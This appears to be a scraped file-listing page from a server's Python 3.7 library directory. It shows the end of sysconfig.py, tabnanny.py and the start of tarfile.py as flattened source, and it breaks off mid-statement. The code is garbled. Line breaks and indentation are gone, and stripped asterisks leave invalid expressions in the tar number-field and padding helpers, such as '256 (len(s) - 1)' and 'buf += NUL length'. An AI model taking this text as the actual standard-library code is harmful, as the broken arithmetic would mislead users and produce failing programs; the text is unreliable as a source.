"%s"' % get_platform()) print('Python version: "%s"' % get_python_version()) print('Current installation scheme: "%s"' % _get_default_scheme()) print() _print_dict('Paths', get_paths()) print() _print_dict('Variables', get_config_vars()) if __name__ == '__main__': _main()	23.87 KB	2024-04-17 17:55
📄 tabnanny.py #! /opt/alt/python37/bin/python3.7 """The Tab Nanny despises ambiguous indentation. She knows no mercy. tabnanny -- Detection of ambiguous indentation For the time being this module is intended to be called as a script. However it is possible to import it into an IDE and use the function check() described below. Warning: The API provided by this module is likely to change in future releases; such changes may not be backward compatible. """ # Released to the public domain, by Tim Peters, 15 April 1998. # XXX Note: this is now a standard library module. # XXX The API needs to undergo changes however; the current code is too # XXX script-like. This will be addressed later. __version__ = "6" import os import sys import tokenize if not hasattr(tokenize, 'NL'): raise ValueError("tokenize.NL doesn't exist -- tokenize module too old") __all__ = ["check", "NannyNag", "process_tokens"] verbose = 0 filename_only = 0 def errprint(args): sep = "" for arg in args: sys.stderr.write(sep + str(arg)) sep = " " sys.stderr.write("\n") def main(): import getopt global verbose, filename_only try: opts, args = getopt.getopt(sys.argv[1:], "qv") except getopt.error as msg: errprint(msg) return for o, a in opts: if o == '-q': filename_only = filename_only + 1 if o == '-v': verbose = verbose + 1 if not args: errprint("Usage:", sys.argv[0], "[-v] file_or_directory ...") return for arg in args: check(arg) class NannyNag(Exception): """ Raised by process_tokens() if detecting an ambiguous indent. Captured and handled in check(). """ def __init__(self, lineno, msg, line): self.lineno, self.msg, self.line = lineno, msg, line def get_lineno(self): return self.lineno def get_msg(self): return self.msg def get_line(self): return self.line def check(file): """check(file_or_dir) If file_or_dir is a directory and not a symbolic link, then recursively descend the directory tree named by file_or_dir, checking all .py files along the way. If file_or_dir is an ordinary Python source file, it is checked for whitespace related problems. The diagnostic messages are written to standard output using the print statement. """ if os.path.isdir(file) and not os.path.islink(file): if verbose: print("%r: listing directory" % (file,)) names = os.listdir(file) for name in names: fullname = os.path.join(file, name) if (os.path.isdir(fullname) and not os.path.islink(fullname) or os.path.normcase(name[-3:]) == ".py"): check(fullname) return try: f = tokenize.open(file) except OSError as msg: errprint("%r: I/O Error: %s" % (file, msg)) return if verbose > 1: print("checking %r ..." % file) try: process_tokens(tokenize.generate_tokens(f.readline)) except tokenize.TokenError as msg: errprint("%r: Token Error: %s" % (file, msg)) return except IndentationError as msg: errprint("%r: Indentation Error: %s" % (file, msg)) return except NannyNag as nag: badline = nag.get_lineno() line = nag.get_line() if verbose: print("%r: Line %d: trouble in tab city! " % (file, badline)) print("offending line: %r" % (line,)) print(nag.get_msg()) else: if ' ' in file: file = '"' + file + '"' if filename_only: print(file) else: print(file, badline, repr(line)) return finally: f.close() if verbose: print("%r: Clean bill of health." % (file,)) class Whitespace: # the characters used for space and tab S, T = ' \t' # members: # raw # the original string # n # the number of leading whitespace characters in raw # nt # the number of tabs in raw[:n] # norm # the normal form as a pair (count, trailing), where: # count # a tuple such that raw[:n] contains count[i] # instances of S i + T # trailing # the number of trailing spaces in raw[:n] # It's A Theorem that m.indent_level(t) == # n.indent_level(t) for all t >= 1 iff m.norm == n.norm. # is_simple # true iff raw[:n] is of the form (T)(S) def __init__(self, ws): self.raw = ws S, T = Whitespace.S, Whitespace.T count = [] b = n = nt = 0 for ch in self.raw: if ch == S: n = n + 1 b = b + 1 elif ch == T: n = n + 1 nt = nt + 1 if b >= len(count): count = count + [0] * (b - len(count) + 1) count[b] = count[b] + 1 b = 0 else: break self.n = n self.nt = nt self.norm = tuple(count), b self.is_simple = len(count) <= 1 # return length of longest contiguous run of spaces (whether or not # preceding a tab) def longest_run_of_spaces(self): count, trailing = self.norm return max(len(count)-1, trailing) def indent_level(self, tabsize): # count, il = self.norm # for i in range(len(count)): # if count[i]: # il = il + (i//tabsize + 1)tabsize count[i] # return il # quicker: # il = trailing + sum (i//ts + 1)tscount[i] = # trailing + ts * sum (i//ts + 1)count[i] = # trailing + ts sum i//tscount[i] + count[i] = # trailing + ts [(sum i//tscount[i]) + (sum count[i])] = # trailing + ts [(sum i//tscount[i]) + num_tabs] # and note that i//tscount[i] is 0 when i < ts count, trailing = self.norm il = 0 for i in range(tabsize, len(count)): il = il + i//tabsize * count[i] return trailing + tabsize * (il + self.nt) # return true iff self.indent_level(t) == other.indent_level(t) # for all t >= 1 def equal(self, other): return self.norm == other.norm # return a list of tuples (ts, i1, i2) such that # i1 == self.indent_level(ts) != other.indent_level(ts) == i2. # Intended to be used after not self.equal(other) is known, in which # case it will return at least one witnessing tab size. def not_equal_witness(self, other): n = max(self.longest_run_of_spaces(), other.longest_run_of_spaces()) + 1 a = [] for ts in range(1, n+1): if self.indent_level(ts) != other.indent_level(ts): a.append( (ts, self.indent_level(ts), other.indent_level(ts)) ) return a # Return True iff self.indent_level(t) < other.indent_level(t) # for all t >= 1. # The algorithm is due to Vincent Broman. # Easy to prove it's correct. # XXXpost that. # Trivial to prove n is sharp (consider T vs ST). # Unknown whether there's a faster general way. I suspected so at # first, but no longer. # For the special (but common!) case where M and N are both of the # form (T)(S), M.less(N) iff M.len() < N.len() and # M.num_tabs() <= N.num_tabs(). Proof is easy but kinda long-winded. # XXXwrite that up. # Note that M is of the form (T)(S) iff len(M.norm[0]) <= 1. def less(self, other): if self.n >= other.n: return False if self.is_simple and other.is_simple: return self.nt <= other.nt n = max(self.longest_run_of_spaces(), other.longest_run_of_spaces()) + 1 # the self.n >= other.n test already did it for ts=1 for ts in range(2, n+1): if self.indent_level(ts) >= other.indent_level(ts): return False return True # return a list of tuples (ts, i1, i2) such that # i1 == self.indent_level(ts) >= other.indent_level(ts) == i2. # Intended to be used after not self.less(other) is known, in which # case it will return at least one witnessing tab size. def not_less_witness(self, other): n = max(self.longest_run_of_spaces(), other.longest_run_of_spaces()) + 1 a = [] for ts in range(1, n+1): if self.indent_level(ts) >= other.indent_level(ts): a.append( (ts, self.indent_level(ts), other.indent_level(ts)) ) return a def format_witnesses(w): firsts = (str(tup[0]) for tup in w) prefix = "at tab size" if len(w) > 1: prefix = prefix + "s" return prefix + " " + ', '.join(firsts) def process_tokens(tokens): INDENT = tokenize.INDENT DEDENT = tokenize.DEDENT NEWLINE = tokenize.NEWLINE JUNK = tokenize.COMMENT, tokenize.NL indents = [Whitespace("")] check_equal = 0 for (type, token, start, end, line) in tokens: if type == NEWLINE: # a program statement, or ENDMARKER, will eventually follow, # after some (possibly empty) run of tokens of the form # (NL \| COMMENT)* (INDENT \| DEDENT+)? # If an INDENT appears, setting check_equal is wrong, and will # be undone when we see the INDENT. check_equal = 1 elif type == INDENT: check_equal = 0 thisguy = Whitespace(token) if not indents[-1].less(thisguy): witness = indents[-1].not_less_witness(thisguy) msg = "indent not greater e.g. " + format_witnesses(witness) raise NannyNag(start[0], msg, line) indents.append(thisguy) elif type == DEDENT: # there's nothing we need to check here! what's important is # that when the run of DEDENTs ends, the indentation of the # program statement (or ENDMARKER) that triggered the run is # equal to what's left at the top of the indents stack # Ouch! This assert triggers if the last line of the source # is indented and lacks a newline -- then DEDENTs pop out # of thin air. # assert check_equal # else no earlier NEWLINE, or an earlier INDENT check_equal = 1 del indents[-1] elif check_equal and type not in JUNK: # this is the first "real token" following a NEWLINE, so it # must be the first token of the next program statement, or an # ENDMARKER; the "line" argument exposes the leading whitespace # for this statement; in the case of ENDMARKER, line is an empty # string, so will properly match the empty string with which the # "indents" stack was seeded check_equal = 0 thisguy = Whitespace(line) if not indents[-1].equal(thisguy): witness = indents[-1].not_equal_witness(thisguy) msg = "indent not equal e.g. " + format_witnesses(witness) raise NannyNag(start[0], msg, line) if __name__ == '__main__': main()	11.15 KB	2024-04-17 17:55
📄 tarfile.py #! /opt/alt/python37/bin/python3.7 #------------------------------------------------------------------- # tarfile.py #------------------------------------------------------------------- # Copyright (C) 2002 Lars Gustaebel <lars@gustaebel.de> # All rights reserved. # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights to use, # copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. # """Read from and write to tar format archives. """ version = "0.9.0" __author__ = "Lars Gust\u00e4bel (lars@gustaebel.de)" __credits__ = "Gustavo Niemeyer, Niels Gust\u00e4bel, Richard Townsend." #--------- # Imports #--------- from builtins import open as bltn_open import sys import os import io import shutil import stat import time import struct import copy import re try: import pwd except ImportError: pwd = None try: import grp except ImportError: grp = None # os.symlink on Windows prior to 6.0 raises NotImplementedError symlink_exception = (AttributeError, NotImplementedError) try: # OSError (winerror=1314) will be raised if the caller does not hold the # SeCreateSymbolicLinkPrivilege privilege symlink_exception += (OSError,) except NameError: pass # from tarfile import * __all__ = ["TarFile", "TarInfo", "is_tarfile", "TarError", "ReadError", "CompressionError", "StreamError", "ExtractError", "HeaderError", "ENCODING", "USTAR_FORMAT", "GNU_FORMAT", "PAX_FORMAT", "DEFAULT_FORMAT", "open"] #--------------------------------------------------------- # tar constants #--------------------------------------------------------- NUL = b"\0" # the null character BLOCKSIZE = 512 # length of processing blocks RECORDSIZE = BLOCKSIZE * 20 # length of records GNU_MAGIC = b"ustar \0" # magic gnu tar string POSIX_MAGIC = b"ustar\x0000" # magic posix tar string LENGTH_NAME = 100 # maximum length of a filename LENGTH_LINK = 100 # maximum length of a linkname LENGTH_PREFIX = 155 # maximum length of the prefix field REGTYPE = b"0" # regular file AREGTYPE = b"\0" # regular file LNKTYPE = b"1" # link (inside tarfile) SYMTYPE = b"2" # symbolic link CHRTYPE = b"3" # character special device BLKTYPE = b"4" # block special device DIRTYPE = b"5" # directory FIFOTYPE = b"6" # fifo special device CONTTYPE = b"7" # contiguous file GNUTYPE_LONGNAME = b"L" # GNU tar longname GNUTYPE_LONGLINK = b"K" # GNU tar longlink GNUTYPE_SPARSE = b"S" # GNU tar sparse file XHDTYPE = b"x" # POSIX.1-2001 extended header XGLTYPE = b"g" # POSIX.1-2001 global header SOLARIS_XHDTYPE = b"X" # Solaris extended header USTAR_FORMAT = 0 # POSIX.1-1988 (ustar) format GNU_FORMAT = 1 # GNU tar format PAX_FORMAT = 2 # POSIX.1-2001 (pax) format DEFAULT_FORMAT = GNU_FORMAT #--------------------------------------------------------- # tarfile constants #--------------------------------------------------------- # File types that tarfile supports: SUPPORTED_TYPES = (REGTYPE, AREGTYPE, LNKTYPE, SYMTYPE, DIRTYPE, FIFOTYPE, CONTTYPE, CHRTYPE, BLKTYPE, GNUTYPE_LONGNAME, GNUTYPE_LONGLINK, GNUTYPE_SPARSE) # File types that will be treated as a regular file. REGULAR_TYPES = (REGTYPE, AREGTYPE, CONTTYPE, GNUTYPE_SPARSE) # File types that are part of the GNU tar format. GNU_TYPES = (GNUTYPE_LONGNAME, GNUTYPE_LONGLINK, GNUTYPE_SPARSE) # Fields from a pax header that override a TarInfo attribute. PAX_FIELDS = ("path", "linkpath", "size", "mtime", "uid", "gid", "uname", "gname") # Fields from a pax header that are affected by hdrcharset. PAX_NAME_FIELDS = {"path", "linkpath", "uname", "gname"} # Fields in a pax header that are numbers, all other fields # are treated as strings. PAX_NUMBER_FIELDS = { "atime": float, "ctime": float, "mtime": float, "uid": int, "gid": int, "size": int } #--------------------------------------------------------- # initialization #--------------------------------------------------------- if os.name == "nt": ENCODING = "utf-8" else: ENCODING = sys.getfilesystemencoding() #--------------------------------------------------------- # Some useful functions #--------------------------------------------------------- def stn(s, length, encoding, errors): """Convert a string to a null-terminated bytes object. """ s = s.encode(encoding, errors) return s[:length] + (length - len(s)) * NUL def nts(s, encoding, errors): """Convert a null-terminated bytes object to a string. """ p = s.find(b"\0") if p != -1: s = s[:p] return s.decode(encoding, errors) def nti(s): """Convert a number field to a python number. """ # There are two possible encodings for a number field, see # itn() below. if s[0] in (0o200, 0o377): n = 0 for i in range(len(s) - 1): n <<= 8 n += s[i + 1] if s[0] == 0o377: n = -(256 (len(s) - 1) - n) else: try: s = nts(s, "ascii", "strict") n = int(s.strip() or "0", 8) except ValueError: raise InvalidHeaderError("invalid header") return n def itn(n, digits=8, format=DEFAULT_FORMAT): """Convert a python number to a number field. """ # POSIX 1003.1-1988 requires numbers to be encoded as a string of # octal digits followed by a null-byte, this allows values up to # (8(digits-1))-1. GNU tar allows storing numbers greater than # that if necessary. A leading 0o200 or 0o377 byte indicate this # particular encoding, the following digits-1 bytes are a big-endian # base-256 representation. This allows values up to (256(digits-1))-1. # A 0o200 byte indicates a positive number, a 0o377 byte a negative # number. n = int(n) if 0 <= n < 8 (digits - 1): s = bytes("%0o" % (digits - 1, n), "ascii") + NUL elif format == GNU_FORMAT and -256 * (digits - 1) <= n < 256 (digits - 1): if n >= 0: s = bytearray([0o200]) else: s = bytearray([0o377]) n = 256 digits + n for i in range(digits - 1): s.insert(1, n & 0o377) n >>= 8 else: raise ValueError("overflow in number field") return s def calc_chksums(buf): """Calculate the checksum for a member's header by summing up all characters except for the chksum field which is treated as if it was filled with spaces. According to the GNU tar sources, some tars (Sun and NeXT) calculate chksum with signed char, which will be different if there are chars in the buffer with the high bit set. So we calculate two checksums, unsigned and signed. """ unsigned_chksum = 256 + sum(struct.unpack_from("148B8x356B", buf)) signed_chksum = 256 + sum(struct.unpack_from("148b8x356b", buf)) return unsigned_chksum, signed_chksum def copyfileobj(src, dst, length=None, exception=OSError, bufsize=None): """Copy length bytes from fileobj src to fileobj dst. If length is None, copy the entire content. """ bufsize = bufsize or 16 * 1024 if length == 0: return if length is None: shutil.copyfileobj(src, dst, bufsize) return blocks, remainder = divmod(length, bufsize) for b in range(blocks): buf = src.read(bufsize) if len(buf) < bufsize: raise exception("unexpected end of data") dst.write(buf) if remainder != 0: buf = src.read(remainder) if len(buf) < remainder: raise exception("unexpected end of data") dst.write(buf) return def filemode(mode): """Deprecated in this location; use stat.filemode.""" import warnings warnings.warn("deprecated in favor of stat.filemode", DeprecationWarning, 2) return stat.filemode(mode) def _safe_print(s): encoding = getattr(sys.stdout, 'encoding', None) if encoding is not None: s = s.encode(encoding, 'backslashreplace').decode(encoding) print(s, end=' ') class TarError(Exception): """Base exception.""" pass class ExtractError(TarError): """General exception for extract errors.""" pass class ReadError(TarError): """Exception for unreadable tar archives.""" pass class CompressionError(TarError): """Exception for unavailable compression methods.""" pass class StreamError(TarError): """Exception for unsupported operations on stream-like TarFiles.""" pass class HeaderError(TarError): """Base exception for header errors.""" pass class EmptyHeaderError(HeaderError): """Exception for empty headers.""" pass class TruncatedHeaderError(HeaderError): """Exception for truncated headers.""" pass class EOFHeaderError(HeaderError): """Exception for end of file headers.""" pass class InvalidHeaderError(HeaderError): """Exception for invalid headers.""" pass class SubsequentHeaderError(HeaderError): """Exception for missing and invalid extended headers.""" pass #--------------------------- # internal stream interface #--------------------------- class _LowLevelFile: """Low-level file object. Supports reading and writing. It is used instead of a regular file object for streaming access. """ def __init__(self, name, mode): mode = { "r": os.O_RDONLY, "w": os.O_WRONLY \| os.O_CREAT \| os.O_TRUNC, }[mode] if hasattr(os, "O_BINARY"): mode \|= os.O_BINARY self.fd = os.open(name, mode, 0o666) def close(self): os.close(self.fd) def read(self, size): return os.read(self.fd, size) def write(self, s): os.write(self.fd, s) class _Stream: """Class that serves as an adapter between TarFile and a stream-like object. The stream-like object only needs to have a read() or write() method and is accessed blockwise. Use of gzip or bzip2 compression is possible. A stream-like object could be for example: sys.stdin, sys.stdout, a socket, a tape device etc. _Stream is intended to be used only internally. """ def __init__(self, name, mode, comptype, fileobj, bufsize): """Construct a _Stream object. """ self._extfileobj = True if fileobj is None: fileobj = _LowLevelFile(name, mode) self._extfileobj = False if comptype == '': # Enable transparent compression detection for the # stream interface fileobj = _StreamProxy(fileobj) comptype = fileobj.getcomptype() self.name = name or "" self.mode = mode self.comptype = comptype self.fileobj = fileobj self.bufsize = bufsize self.buf = b"" self.pos = 0 self.closed = False try: if comptype == "gz": try: import zlib except ImportError: raise CompressionError("zlib module is not available") self.zlib = zlib self.crc = zlib.crc32(b"") if mode == "r": self._init_read_gz() self.exception = zlib.error else: self._init_write_gz() elif comptype == "bz2": try: import bz2 except ImportError: raise CompressionError("bz2 module is not available") if mode == "r": self.dbuf = b"" self.cmp = bz2.BZ2Decompressor() self.exception = OSError else: self.cmp = bz2.BZ2Compressor() elif comptype == "xz": try: import lzma except ImportError: raise CompressionError("lzma module is not available") if mode == "r": self.dbuf = b"" self.cmp = lzma.LZMADecompressor() self.exception = lzma.LZMAError else: self.cmp = lzma.LZMACompressor() elif comptype != "tar": raise CompressionError("unknown compression type %r" % comptype) except: if not self._extfileobj: self.fileobj.close() self.closed = True raise def __del__(self): if hasattr(self, "closed") and not self.closed: self.close() def _init_write_gz(self): """Initialize for writing with gzip compression. """ self.cmp = self.zlib.compressobj(9, self.zlib.DEFLATED, -self.zlib.MAX_WBITS, self.zlib.DEF_MEM_LEVEL, 0) timestamp = struct.pack("<L", int(time.time())) self.__write(b"\037\213\010\010" + timestamp + b"\002\377") if self.name.endswith(".gz"): self.name = self.name[:-3] # RFC1952 says we must use ISO-8859-1 for the FNAME field. self.__write(self.name.encode("iso-8859-1", "replace") + NUL) def write(self, s): """Write string s to the stream. """ if self.comptype == "gz": self.crc = self.zlib.crc32(s, self.crc) self.pos += len(s) if self.comptype != "tar": s = self.cmp.compress(s) self.__write(s) def __write(self, s): """Write string s to the stream if a whole new block is ready to be written. """ self.buf += s while len(self.buf) > self.bufsize: self.fileobj.write(self.buf[:self.bufsize]) self.buf = self.buf[self.bufsize:] def close(self): """Close the _Stream object. No operation should be done on it afterwards. """ if self.closed: return self.closed = True try: if self.mode == "w" and self.comptype != "tar": self.buf += self.cmp.flush() if self.mode == "w" and self.buf: self.fileobj.write(self.buf) self.buf = b"" if self.comptype == "gz": self.fileobj.write(struct.pack("<L", self.crc)) self.fileobj.write(struct.pack("<L", self.pos & 0xffffFFFF)) finally: if not self._extfileobj: self.fileobj.close() def _init_read_gz(self): """Initialize for reading a gzip compressed fileobj. """ self.cmp = self.zlib.decompressobj(-self.zlib.MAX_WBITS) self.dbuf = b"" # taken from gzip.GzipFile with some alterations if self.__read(2) != b"\037\213": raise ReadError("not a gzip file") if self.__read(1) != b"\010": raise CompressionError("unsupported compression method") flag = ord(self.__read(1)) self.__read(6) if flag & 4: xlen = ord(self.__read(1)) + 256 ord(self.__read(1)) self.read(xlen) if flag & 8: while True: s = self.__read(1) if not s or s == NUL: break if flag & 16: while True: s = self.__read(1) if not s or s == NUL: break if flag & 2: self.__read(2) def tell(self): """Return the stream's file pointer position. """ return self.pos def seek(self, pos=0): """Set the stream's file pointer to pos. Negative seeking is forbidden. """ if pos - self.pos >= 0: blocks, remainder = divmod(pos - self.pos, self.bufsize) for i in range(blocks): self.read(self.bufsize) self.read(remainder) else: raise StreamError("seeking backwards is not allowed") return self.pos def read(self, size=None): """Return the next size number of bytes from the stream. If size is not defined, return all bytes of the stream up to EOF. """ if size is None: t = [] while True: buf = self._read(self.bufsize) if not buf: break t.append(buf) buf = b"".join(t) else: buf = self._read(size) self.pos += len(buf) return buf def _read(self, size): """Return size bytes from the stream. """ if self.comptype == "tar": return self.__read(size) c = len(self.dbuf) t = [self.dbuf] while c < size: buf = self.__read(self.bufsize) if not buf: break try: buf = self.cmp.decompress(buf) except self.exception: raise ReadError("invalid compressed data") t.append(buf) c += len(buf) t = b"".join(t) self.dbuf = t[size:] return t[:size] def __read(self, size): """Return size bytes from stream. If internal buffer is empty, read another block from the stream. """ c = len(self.buf) t = [self.buf] while c < size: buf = self.fileobj.read(self.bufsize) if not buf: break t.append(buf) c += len(buf) t = b"".join(t) self.buf = t[size:] return t[:size] # class _Stream class _StreamProxy(object): """Small proxy class that enables transparent compression detection for the Stream interface (mode 'r\|'). """ def __init__(self, fileobj): self.fileobj = fileobj self.buf = self.fileobj.read(BLOCKSIZE) def read(self, size): self.read = self.fileobj.read return self.buf def getcomptype(self): if self.buf.startswith(b"\x1f\x8b\x08"): return "gz" elif self.buf[0:3] == b"BZh" and self.buf[4:10] == b"1AY&SY": return "bz2" elif self.buf.startswith((b"\x5d\x00\x00\x80", b"\xfd7zXZ")): return "xz" else: return "tar" def close(self): self.fileobj.close() # class StreamProxy #------------------------ # Extraction file object #------------------------ class _FileInFile(object): """A thin wrapper around an existing file object that provides a part of its data as an individual file object. """ def __init__(self, fileobj, offset, size, blockinfo=None): self.fileobj = fileobj self.offset = offset self.size = size self.position = 0 self.name = getattr(fileobj, "name", None) self.closed = False if blockinfo is None: blockinfo = [(0, size)] # Construct a map with data and zero blocks. self.map_index = 0 self.map = [] lastpos = 0 realpos = self.offset for offset, size in blockinfo: if offset > lastpos: self.map.append((False, lastpos, offset, None)) self.map.append((True, offset, offset + size, realpos)) realpos += size lastpos = offset + size if lastpos < self.size: self.map.append((False, lastpos, self.size, None)) def flush(self): pass def readable(self): return True def writable(self): return False def seekable(self): return self.fileobj.seekable() def tell(self): """Return the current file position. """ return self.position def seek(self, position, whence=io.SEEK_SET): """Seek to a position in the file. """ if whence == io.SEEK_SET: self.position = min(max(position, 0), self.size) elif whence == io.SEEK_CUR: if position < 0: self.position = max(self.position + position, 0) else: self.position = min(self.position + position, self.size) elif whence == io.SEEK_END: self.position = max(min(self.size + position, self.size), 0) else: raise ValueError("Invalid argument") return self.position def read(self, size=None): """Read data from the file. """ if size is None: size = self.size - self.position else: size = min(size, self.size - self.position) buf = b"" while size > 0: while True: data, start, stop, offset = self.map[self.map_index] if start <= self.position < stop: break else: self.map_index += 1 if self.map_index == len(self.map): self.map_index = 0 length = min(size, stop - self.position) if data: self.fileobj.seek(offset + (self.position - start)) b = self.fileobj.read(length) if len(b) != length: raise ReadError("unexpected end of data") buf += b else: buf += NUL length size -= length self.position += length return buf def readinto(self, b): buf = self.read(len(b)) b[:len(buf)] = buf return len(buf) def close(self): self.closed = True #class _FileInFile class ExFileObject(io.BufferedReader): def __init__(self, tarfile, tarinfo): fileobj = _FileInFile(tarfile.fileobj, tarinfo.offset_data, tarinfo.size, tarinfo.sparse) super().__init__(fileobj) #class ExFileObject #------------------ # Exported Classes #------------------ class TarInfo(object): """Informational class which holds the details about an archive member given by a tar header block. TarInfo objects are returned by TarFile.getmember(), TarFile.getmembers() and TarFile.gettarinfo() and are usually created internally. """ __slots__ = ("name", "mode", "uid", "gid", "size", "mtime", "chksum", "type", "linkname", "uname", "gname", "devmajor", "devminor", "offset", "offset_data", "pax_headers", "sparse", "tarfile", "_sparse_structs", "_link_target") def __init__(self, name=""): """Construct a TarInfo object. name is the optional name of the member. """ self.name = name # member name self.mode = 0o644 # file permissions self.uid = 0 # user id self.gid = 0 # group id self.size = 0 # file size self.mtime = 0 # modification time self.chksum = 0 # header checksum self.type = REGTYPE # member type self.linkname = "" # link name self.uname = "" # user name self.gname = "" # group name self.devmajor = 0 # device major number self.devminor = 0 # device minor number self.offset = 0 # the tar header starts here self.offset_data = 0 # the file's data starts here self.sparse = None # sparse member information self.pax_headers = {} # pax header information # In pax headers the "name" and "linkname" field are called # "path" and "linkpath". @property def path(self): return self.name @path.setter def path(self, name): self.name = name @property def linkpath(self): return self.linkname @linkpath.setter def linkpath(self, linkname): self.linkname = linkname def __repr__(self): return "<%s %r at %#x>" % (self.__class__.__name__,self.name,id(self)) def get_info(self): """Return the TarInfo's attributes as a dictionary. """ info = { "name": self.name, "mode": self.mode & 0o7777, "uid": self.uid, "gid": self.gid, "size": self.size, "mtime": self.mtime, "chksum": self.chksum, "type": self.type, "linkname": self.linkname, "uname": self.uname, "gname": self.gname, "devmajor": self.devmajor, "devminor": self.devminor } if info["type"] == DIRTYPE and not info["name"].endswith("/"): info["name"] += "/" return info def tobuf(self, format=DEFAULT_FORMAT, encoding=ENCODING, errors="surrogateescape"): """Return a tar header as a string of 512 byte blocks. """ info = self.get_info() if format == USTAR_FORMAT: return self.create_ustar_header(info, encoding, errors) elif format == GNU_FORMAT: return self.create_gnu_header(info, encoding, errors) elif format == PAX_FORMAT: return self.create_pax_header(info, encoding) else: raise ValueError("invalid format") def create_ustar_header(self, info, encoding, errors): """Return the object as a ustar header block. """ info["magic"] = POSIX_MAGIC if len(info["linkname"].encode(encoding, errors)) > LENGTH_LINK: raise ValueError("linkname is too long") if len(info["name"].encode(encoding, errors)) > LENGTH_NAME: info["prefix"], info["name"] = self._posix_split_name(info["name"], encoding, errors) return self._create_header(info, USTAR_FORMAT, encoding, errors) def create_gnu_header(self, info, encoding, errors): """Return the object as a GNU header block sequence. """ info["magic"] = GNU_MAGIC buf = b"" if len(info["linkname"].encode(encoding, errors)) > LENGTH_LINK: buf += self._create_gnu_long_header(info["linkname"], GNUTYPE_LONGLINK, encoding, errors) if len(info["name"].encode(encoding, errors)) > LENGTH_NAME: buf += self._create_gnu_long_header(info["name"], GNUTYPE_LONGNAME, encoding, errors) return buf + self._create_header(info, GNU_FORMAT, encoding, errors) def create_pax_header(self, info, encoding): """Return the object as a ustar header block. If it cannot be represented this way, prepend a pax extended header sequence with supplement information. """ info["magic"] = POSIX_MAGIC pax_headers = self.pax_headers.copy() # Test string fields for values that exceed the field length or cannot # be represented in ASCII encoding. for name, hname, length in ( ("name", "path", LENGTH_NAME), ("linkname", "linkpath", LENGTH_LINK), ("uname", "uname", 32), ("gname", "gname", 32)): if hname in pax_headers: # The pax header has priority. continue # Try to encode the string as ASCII. try: info[name].encode("ascii", "strict") except UnicodeEncodeError: pax_headers[hname] = info[name] continue if len(info[name]) > length: pax_headers[hname] = info[name] # Test number fields for values that exceed the field limit or values # that like to be stored as float. for name, digits in (("uid", 8), ("gid", 8), ("size", 12), ("mtime", 12)): if name in pax_headers: # The pax header has priority. Avoid overflow. info[name] = 0 continue val = info[name] if not 0 <= val < 8 ** (digits - 1) or isinstance(val, float): pax_headers[name] = str(val) info[name] = 0 # Create a pax extended header if necessary. if pax_headers: buf = self._create_pax_generic_header(pax_headers, XHDTYPE, encoding) else: buf = b"" return buf + self._create_header(info, USTAR_FORMAT, "ascii", "replace") @classmethod def create_pax_global_header(cls, pax_headers): """Return the object as a pax global header block sequence. """ return cls._create_pax_generic_header(pax_headers, XGLTYPE, "utf-8") def _posix_split_name(self, name, encoding, errors): """Split a name longer than 100 chars into a prefix and a name part. """ components = name.split("/") for i in range(1, len(components)): prefix = "/".join(components[:i]) name = "/".join(components[i:]) if len(prefix.encode(encoding, errors)) <= LENGTH_PREFIX and \ len(name.encode(encoding, errors)) <= LENGTH_NAME: break else: raise ValueError("name is too long") return prefix, name @staticmethod def _create_header(info, format, encoding, errors): """Return a header block. info is a dictionary with file information, format must be one of the _FORMAT constants. """ parts = [ stn(info.get("name", ""), 100, encoding, errors), itn(info.get("mode", 0) & 0o7777, 8, format), itn(info.get("uid", 0), 8, format), itn(info.get("gid", 0), 8, format), itn(info.get("size", 0), 12, format), itn(info.get("mtime", 0), 12, format), b" ", # checksum field info.get("type", REGTYPE), stn(info.get("linkname", ""), 100, encoding, errors), info.get("magic", POSIX_MAGIC), stn(info.get("uname", ""), 32, encoding, errors), stn(info.get("gname", ""), 32, encoding, errors), itn(info.get("devmajor", 0), 8, format), itn(info.get("devminor", 0), 8, format), stn(info.get("prefix", ""), 155, encoding, errors) ] buf = struct.pack("%ds" % BLOCKSIZE, b"".join(parts)) chksum = calc_chksums(buf[-BLOCKSIZE:])[0] buf = buf[:-364] + bytes("%06o\0" % chksum, "ascii") + buf[-357:] return buf @staticmethod def _create_payload(payload): """Return the string payload filled with zero bytes up to the next 512 byte border. """ blocks, remainder = divmod(len(payload), BLOCKSIZE) if remainder > 0: payload += (BLOCKSIZE - remainder) NUL return payload @classmethod def _create_gnu_long_header(cls, name, type, encoding, errors): """Return a GNUTYPE_LONGNAME or GNUTYPE_LONGLINK sequence for name. """ name = name.encode(encoding, errors) + NUL info = {} info["name"] = "././@LongLink" info["type"] = type info["size"] = len(name) info["magic"] = GNU_MAGIC # create extended header + name blocks. return cls._create_header(info, USTAR_FORMAT, encoding, errors) + \ cls._create_payload(name) @classmethod def _create_pax_generic_header(cls, pax_headers, type, encoding): """Return a POSIX.1-2008 extended or global header sequence that contains a list of keyword, value pairs. The values must be strings. """ # Check if one of the fields contains surrogate characters and thereby # forces hdrcharset=BINARY, see _proc_pax() for more information. binary = False for keyword, value in pax_headers.items(): try: value.encode("utf-8", "strict") except UnicodeEncodeError: binary = True break records = b"" if binary: # Put the hdrcharset field at the beginning of the header. records += b"21 hdrcharset=BINARY\n" for keyword, value in pax_headers.items(): keyword = keyword.encode("utf-8") if binary: # Try to restore the original byte representation of `value'. # Needless to say, that the encoding must match the string. value = value.encode(encoding, "surrogateescape") else: value = value.encode("utf-8") l = len(keyword) + len(value) + 3 # ' ' + '=' + '\n' n = p = 0 while True: n = l + len(str(p)) if n == p: break p = n records += bytes(str(p), "ascii") + b" " + keyword + b"=" + value + b"\n" # We use a hardcoded "././@PaxHeader" name like star does # instead of the one that POSIX recommends. info = {} info["name"] = "././@PaxHeader" info["type"] = type info["size"] = len(records) info["magic"] = POSIX_MAGIC # Create pax header + record blocks. return cls._create_header(info, 